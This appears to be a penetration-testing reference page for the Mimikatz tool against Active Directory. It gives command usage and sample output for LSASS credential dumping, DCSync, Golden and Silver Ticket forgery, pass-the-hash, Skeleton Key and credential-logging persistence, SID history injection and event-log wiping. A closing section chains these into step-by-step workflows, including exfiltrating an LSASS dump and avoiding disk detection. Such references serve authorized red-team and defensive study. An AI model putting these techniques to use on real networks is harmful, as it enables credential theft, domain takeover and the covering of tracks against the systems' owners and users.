Mimikatz Active Directory Reference
Mimikatz is a Windows post-exploitation tool for credential extraction, Kerberos ticket manipulation, token impersonation, and DPAPI decryption. It reads credentials directly from LSASS memory, dumps SAM and LSA secrets, performs DCSync, forges Golden and Silver Tickets, and manipulates tokens and privileges. Most operations require local admin or SYSTEM.
Getting Mimikatz
Mimikatz ships pre-compiled on Kali at /usr/share/windows-resources/mimikatz/x64/mimikatz.exe. Transfer it to the target, or run it in memory to avoid dropping it to disk.
Enable Debug Privilege
Almost every credential extraction command requires SeDebugPrivilege. Run privilege::debug first in every Mimikatz session. This requires local admin or SYSTEM.
Privilege '20' OK
If you get ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061, the current process does not have admin rights. Escalate first or migrate to a SYSTEM process.
One-Liner Execution
Run multiple commands without the interactive prompt by chaining them on the command line. Useful for quick grabs and scripted execution.
Placeholders Used Here
$DOMAIN- FQDN, e.g.corp.local.$USER/$PASSWORD- current foothold account credentials.$NTHASH- NT hash (RC4 key).$AES_KEY- AES-256 key.$TARGET_IP- DC IP address.$TARGET_USER- sAMAccountName of the target account.$LHOST- attacker IP for file transfers.
Credential Extraction from LSASS (sekurlsa)
The sekurlsa module reads credentials from LSASS process memory. logonpasswords dumps everything at once: NTLM hashes, plaintext passwords (when WDigest is enabled), Kerberos tickets, and more. The individual subcommands target specific providers.
Authentication Id : 0 ; 287467 (00000000:000462eb) Session : Interactive from 1 User Name : svc_backup Domain : CORP Logon Server : DC01 Logon Time : 9/12/2026 2:14:28 AM SID : S-1-5-21-...-1104 msv : [00000003] Primary * Username : svc_backup * Domain : CORP * NTLM : fc525c9683e8fe067095ba2ddc971889 * SHA1 : a4b3c2d1e0f9a8b7c6d5e4f3a2b1c0d9e8f7a6b5 wdigest : * Username : svc_backup * Domain : CORP * Password : (null) kerberos : * Username : svc_backup * Domain : CORP.LOCAL * Password : (null)
Dumps all credential providers at once: MSV (NTLM), WDigest, Kerberos, TSPKG, LiveSSP, SSP, CredMan. On older systems (pre-2012 R2, or with UseLogonCredential=1), this returns plaintext passwords.
Working with LSASS minidumps
When you cannot run Mimikatz on the target directly, dump LSASS with Task Manager, ProcDump, comsvcs.dll, or nanodump, then process the dump offline.
Switch to MINIDUMP : 'lsass.dmp' Opening : 'lsass.dmp' file for minidump...
SAM, Secrets and Cached Credentials (lsadump)
lsadump::sam dumps local account hashes from the SAM database. lsadump::secrets dumps LSA secrets (service account passwords, auto-logon credentials, DPAPI keys). lsadump::cache dumps cached domain logon credentials (DCC2/MSCachev2). All work live (with SYSTEM) or offline against exported registry hives.
Domain : CORP SysKey : 1a2b3c... RID : 000001f4 (500) User : Administrator Hash NTLM: fc525c9683e8fe067095ba2ddc971889
DCSync
lsadump::dcsync impersonates a domain controller and requests credential replication via MS-DRSR. Requires Replicating Directory Changes and Replicating Directory Changes All rights (Domain Admins, Enterprise Admins, or accounts granted DCSync explicitly). Runs over the network, no code execution on the DC needed.
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
Credentials:
Hash NTLM: d3c02561bba6ee4ad6cfd024ec8fda5d
ntlm- 0: d3c02561bba6ee4ad6cfd024ec8fda5d
lm - 0: e52cac67419a9a224a3b108f3fa6cb6d
Supplemental Credentials:
* Kerberos-Newer-Keys *
aes256_hmac (4096) : 9c4b8a1d...
aes128_hmac (4096) : 7a2d1e3f...
des_cbc_md5 (4096) : 1f2e3d4c...
Explain command
| /user | Target account to replicate (e.g. krbtgt, DOMAIN\Administrator). |
| /all | Replicate all accounts in the domain. |
| /csv | Output in CSV format for easy parsing. |
The krbtgt NTLM hash and AES keys from DCSync are the input for Golden Ticket forgery. See Golden Ticket and Silver Ticket.
Kerberos Ticket Operations
The kerberos module lists, exports, imports, and purges Kerberos tickets in the current session.
Golden Ticket
Forge a TGT with the krbtgt hash. Grants access to any service in the domain as any user. Requires the krbtgt NTLM hash or AES key (from DCSync or lsadump::lsa) and the domain SID.
User : Administrator Domain : CORP.LOCAL (CORP) SID : S-1-5-21-... User Id : 500 Groups Id : *512 520 513 519 518 ServiceKey: d3c02561bba6ee4ad6cfd024ec8fda5d - rc4_hmac_nt Lifetime : 9/12/2026 ... ; 9/9/2036 ... -> Ticket : ** Pass The Ticket ** Golden ticket for 'Administrator @ CORP.LOCAL' successfully submitted for current session
Explain command
| /domain | Domain FQDN. |
| /sid | Domain SID (S-1-5-21-...). |
| /krbtgt | krbtgt NTLM hash (or use /rc4, /aes256). |
| /user | Username to embed in the ticket. |
| /id | User RID (500 for Administrator). |
| /groups | Group RIDs (512,519,520 for full admin). |
| /ptt | Inject the ticket into the current session. |
| /ticket | Save as .kirbi file instead of injecting. |
Silver Ticket
Forge a service ticket for a specific service on a specific host. Requires the service account's NTLM hash or AES key and the domain SID. Does not touch the DC, so no TGT validation occurs.
Explain command
| /service | Target service (cifs, http, mssql, ldap, host, rpcss, wsman). |
| /target | Target host FQDN. |
| /rc4 | Service account NTLM hash (or machine account hash for computer services). |
Silver Tickets use kerberos::golden with a /service and /target flag. The same command handles both Golden and Silver Tickets.
Pass-the-Hash
sekurlsa::pth starts a new process with a forged Kerberos identity using an NTLM hash or AES key. The new process authenticates to remote services as the target user without knowing the plaintext password.
user : Administrator domain : CORP program : cmd.exe impers. : no NTLM : fc525c9683e8fe067095ba2ddc971889 | PID 3204 | TID 3208 | LSA Process is now R/W | LUID 0 ; 5765432 (00000000:00580938) \_ msv1_0 - data copy @ 0000025C4A1E2B30 : OK ! \_ kerberos - data copy @ 0000025C4A3F1A40 \_ aes256_hmac -> null \_ aes128_hmac -> null \_ rc4_hmac_nt OK \_ rc4_hmac_old OK \_ rc4_md4 OK \_ rc4_hmac_nt_exp OK \_ rc4_hmac_old_exp OK \_ *Password replace @ 0000025C4A3F58C8 (32) -> null
Explain command
| /user | Target username. |
| /domain | Domain or computer name. |
| /ntlm | NTLM hash (or use /rc4). |
| /aes256 | AES-256 key (stealthier). |
| /run | Program to launch (default: cmd.exe). |
The spawned cmd.exe or PowerShell window uses the forged identity. Any network authentication from that process (dir \\dc01\c$, PsExec, etc.) authenticates as the target user.
Token Manipulation
The token module lists and impersonates tokens from other processes and logon sessions. Useful for elevating to SYSTEM or impersonating a domain admin whose token exists on the machine.
Token Id : 0 User name : NT AUTHORITY\SYSTEM SID name : NT AUTHORITY\SYSTEM
DPAPI Credential Decryption
The dpapi module decrypts Windows Data Protection API protected data: saved browser passwords, Wi-Fi keys, Credential Manager entries, RDP saved credentials, and more. Requires the user's DPAPI master key (from sekurlsa::dpapi or recovered via /rpc with domain backup key).
Certificate Operations (crypto)
The crypto module lists and exports certificates and private keys from the Windows certificate store. crypto::capi and crypto::cng patch the CryptoAPI and CNG providers to allow exporting non-exportable private keys.
Explain command
| /systemstore | Certificate store location (CURRENT_USER, LOCAL_MACHINE). |
| /store | Store name (My, Root, CA, Trust). |
| /export | Export certificates and keys as PFX/DER files. |
Exported certificates and keys are relevant for ADCS abuse (ESC1, ESC4, etc.), PKINIT authentication, and Schannel-based attacks. See ADCS Exploitation.
Skeleton Key
misc::skeleton patches LSASS on a DC to accept a master password (mimikatz) alongside every user's real password. Every account in the domain can then authenticate with either their real password or the skeleton key. Requires SYSTEM on the DC. Survives until the DC is rebooted.
[KDC] data [KDC] struct [KDC] keys patch OK [RC4] functions [RC4] init patch OK [RC4] decrypt patch OK
After injection, any domain account authenticates with password 'mimikatz' in addition to the real password. Use for persistence. Cleared on DC reboot.
SMB 10.10.10.10 445 DC01 [+] corp.local\Administrator:mimikatz
In-Memory SSP (Credential Logger)
misc::memssp injects a Security Support Provider into LSASS that logs every authentication to C:\Windows\System32\mimilsa.log in plaintext. Useful for capturing credentials of users who log in after you have access.
[+] Injected =)
After injection, credentials appear in C:\Windows\System32\mimilsa.log as users authenticate. Cleared on reboot.
SID History Injection
The sid module patches the NTDS service to allow writing to sIDHistory. Adding a privileged SID (Domain Admins, Enterprise Admins) to a controlled account's SID history grants those privileges transparently.
Terminal Services
ts::multirdp patches the Terminal Server service to allow multiple concurrent RDP sessions. ts::sessions lists active sessions.
Event Log Manipulation
event::drop patches the Event Log service to silently discard new events. event::clear wipes an existing event log.
Kerberos Key Derivation
kerberos::hash calculates Kerberos keys (RC4, AES-128, AES-256, DES) from a plaintext password, similar to Rubeus hash.
rc4_hmac_nt : 2B576ACBE6BCFDA7294D6BD18041B8FE aes128_hmac : 7A2D1E3F... aes256_hmac : 9C4B8A1D... des_cbc_md5 : 1F2E3D4C...
Common Workflows
Full credential dump:
privilege::debug,sekurlsa::logonpasswordsfor LSASS,lsadump::samfor local hashes,lsadump::secretsfor service account passwords.DCSync to Golden Ticket:
lsadump::dcsync /user:krbtgtto get the hash, thenkerberos::golden /krbtgt:<hash> /pttfor persistent domain access.Pass-the-Hash lateral movement:
sekurlsa::pth /user:admin /ntlm:<hash>spawns a process, thendir \\target\c$or PsExec from that process.Offline dump analysis: dump LSASS with comsvcs.dll or ProcDump on target, exfiltrate the dump, then
sekurlsa::minidump lsass.dmp+sekurlsa::logonpasswordsoffline.Certificate theft for PKINIT:
crypto::capito patch export restrictions,crypto::certificates /exportto grab PFX files, then use with Rubeusasktgt /certificate:or certipy.Persistence on DC:
misc::skeletonfor skeleton key (master password), ormisc::memsspto log future authentications, or Golden Ticket for offline access.
References
-
Windows credential extraction, Kerberos ticket manipulation, DPAPI decryption, token impersonation.
-
Full module and command reference with usage examples.
-
Impacket (GitHub)REPO: Impacket (GitHub), github.com/fortra/impacket (opens in new tab)
Linux-side alternatives: secretsdump (DCSync/SAM), getTGT, getST. Complements Mimikatz from a Kali host.
-
C# Kerberos toolkit. Handles ticket operations that overlap with Mimikatz kerberos module, plus roasting and S4U.